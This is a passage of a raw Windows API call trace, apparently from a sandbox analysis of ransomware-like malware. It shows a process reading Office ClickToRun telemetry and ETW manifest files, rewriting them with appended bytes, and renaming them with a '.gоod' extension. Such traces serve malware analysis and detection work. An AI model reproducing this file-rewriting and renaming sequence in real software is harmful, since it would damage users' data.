lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", nBufferLength=0x105, lpBuffer=0x1faee0c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", lpFilePart=0x0) returned 0x80 [0106.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee5e0) returned 1 [0106.340] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0106.380] GetFileType (hFile=0x7c8) returned 0x1 [0106.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee550) returned 1 [0106.381] GetFileType (hFile=0x7c8) returned 0x1 [0106.381] WriteFile (in: hFile=0x7c8, lpBuffer=0x369e830*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x1faee5c8, lpOverlapped=0x0 | out: lpBuffer=0x369e830*, lpNumberOfBytesWritten=0x1faee5c8*=0xcf0, lpOverlapped=0x0) returned 1 [0106.381] CloseHandle (hObject=0x7c8) returned 1 [0106.382] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", lpFilePart=0x0) returned 0x80 [0106.382] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.gоod", lpFilePart=0x0) returned 0x85 [0106.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0106.382] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f3481a2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f3481a2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x3b9ed838, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xcf0)) returned 1 [0106.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0106.382] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml.gоod")) returned 1 [0106.383] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", lpFilePart=0x0) returned 0x7d [0106.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0106.383] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml"), fInfoLevelId=0x0, lpFileInformation=0x369fc28 | out: lpFileInformation=0x369fc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0e5bdc, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f0e5bdc, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf40d9aa3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0xca6)) returned 1 [0106.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0106.576] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", nBufferLength=0x105, lpBuffer=0x1faee0c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", lpFilePart=0x0) returned 0x7d [0106.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee5e0) returned 1 [0106.576] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0106.576] GetFileType (hFile=0x7dc) returned 0x1 [0106.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee550) returned 1 [0106.576] GetFileType (hFile=0x7dc) returned 0x1 [0106.576] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1faee788 | out: lpFileSizeHigh=0x1faee788*=0x0) returned 0xca6 [0106.576] ReadFile (in: hFile=0x7dc, lpBuffer=0x34053d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee6b8, lpOverlapped=0x0 | out: lpBuffer=0x34053d0*, lpNumberOfBytesRead=0x1faee6b8*=0xca6, lpOverlapped=0x0) returned 1 [0106.578] CloseHandle (hObject=0x7dc) returned 1 [0106.607] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", nBufferLength=0x105, lpBuffer=0x1faee0c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", lpFilePart=0x0) returned 0x7d [0106.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee5e0) returned 1 [0106.607] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0106.609] GetFileType (hFile=0x7dc) returned 0x1 [0106.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee550) returned 1 [0106.609] GetFileType (hFile=0x7dc) returned 0x1 [0106.609] WriteFile (in: hFile=0x7dc, lpBuffer=0x3481ae0*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x1faee5c8, lpOverlapped=0x0 | out: lpBuffer=0x3481ae0*, lpNumberOfBytesWritten=0x1faee5c8*=0xcb0, lpOverlapped=0x0) returned 1 [0106.610] CloseHandle (hObject=0x7dc) returned 1 [0106.610] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", lpFilePart=0x0) returned 0x7d [0106.610] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.gоod", lpFilePart=0x0) returned 0x82 [0106.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0106.610] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0e5bdc, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f0e5bdc, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x3bc298b7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xcb0)) returned 1 [0106.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0106.610] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentlogon2016.xml.gоod")) returned 1 [0106.611] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man", lpFilePart=0x0) returned 0x5e [0106.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0106.611] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man"), fInfoLevelId=0x0, lpFileInformation=0x3482ec0 | out: lpFileInformation=0x3482ec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433f4072, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x433f4072, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x1bd7df5e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b826)) returned 1 [0106.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0106.611] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man", lpFilePart=0x0) returned 0x5e [0106.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0106.611] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0106.611] GetFileType (hFile=0x7dc) returned 0x1 [0106.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0106.611] GetFileType (hFile=0x7dc) returned 0x1 [0106.611] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0106.612] ReadFile (in: hFile=0x7dc, lpBuffer=0x3483348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x3483348*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0106.985] CloseHandle (hObject=0x7dc) returned 1 [0106.987] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man", lpFilePart=0x0) returned 0x5e [0106.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0106.987] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0106.988] GetFileType (hFile=0x7dc) returned 0x1 [0106.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0106.988] GetFileType (hFile=0x7dc) returned 0x1 [0106.988] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1b826 [0106.989] WriteFile (in: hFile=0x7dc, lpBuffer=0x352fbb8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x352fbb8*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0107.021] CloseHandle (hObject=0x7dc) returned 1 [0107.021] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man", lpFilePart=0x0) returned 0x5e [0107.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0107.021] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0107.021] GetFileType (hFile=0x7dc) returned 0x1 [0107.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0107.021] GetFileType (hFile=0x7dc) returned 0x1 [0107.022] ReadFile (in: hFile=0x7dc, lpBuffer=0x35b8b60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x35b8b60*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0107.154] CloseHandle (hObject=0x7dc) returned 1 [0107.154] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man", lpFilePart=0x0) returned 0x5e [0107.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0107.155] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0107.155] GetFileType (hFile=0x7dc) returned 0x1 [0107.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0107.155] GetFileType (hFile=0x7dc) returned 0x1 [0107.155] WriteFile (in: hFile=0x7dc, lpBuffer=0x3407cd8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x3407cd8*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0107.155] CloseHandle (hObject=0x7dc) returned 1 [0107.155] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man", lpFilePart=0x0) returned 0x5e [0107.155] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man.gоod", lpFilePart=0x0) returned 0x63 [0107.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0107.155] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433f4072, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x433f4072, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x3c160d95, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b836)) returned 1 [0107.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0107.155] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man.gоod")) returned 1 [0107.156] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man", lpFilePart=0x0) returned 0x56 [0107.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0107.156] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man"), fInfoLevelId=0x0, lpFileInformation=0x344a4f0 | out: lpFileInformation=0x344a4f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b4f7c0, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x42b4f7c0, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x244f1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bddd)) returned 1 [0107.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0107.253] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man", lpFilePart=0x0) returned 0x56 [0107.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0107.253] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0107.254] GetFileType (hFile=0x7dc) returned 0x1 [0107.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0107.254] GetFileType (hFile=0x7dc) returned 0x1 [0107.254] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0107.254] ReadFile (in: hFile=0x7dc, lpBuffer=0x3479048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x3479048*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0107.256] CloseHandle (hObject=0x7dc) returned 1 [0107.256] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man", lpFilePart=0x0) returned 0x56 [0107.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0107.256] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0107.257] GetFileType (hFile=0x7dc) returned 0x1 [0107.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0107.257] GetFileType (hFile=0x7dc) returned 0x1 [0107.257] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x9bddd [0107.257] WriteFile (in: hFile=0x7dc, lpBuffer=0x347a3d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x347a3d0*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0107.258] CloseHandle (hObject=0x7dc) returned 1 [0107.258] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man", lpFilePart=0x0) returned 0x56 [0107.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0107.259] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0107.259] GetFileType (hFile=0x7dc) returned 0x1 [0107.259] SetThreadErrorMode (dwNewMode=0x0, 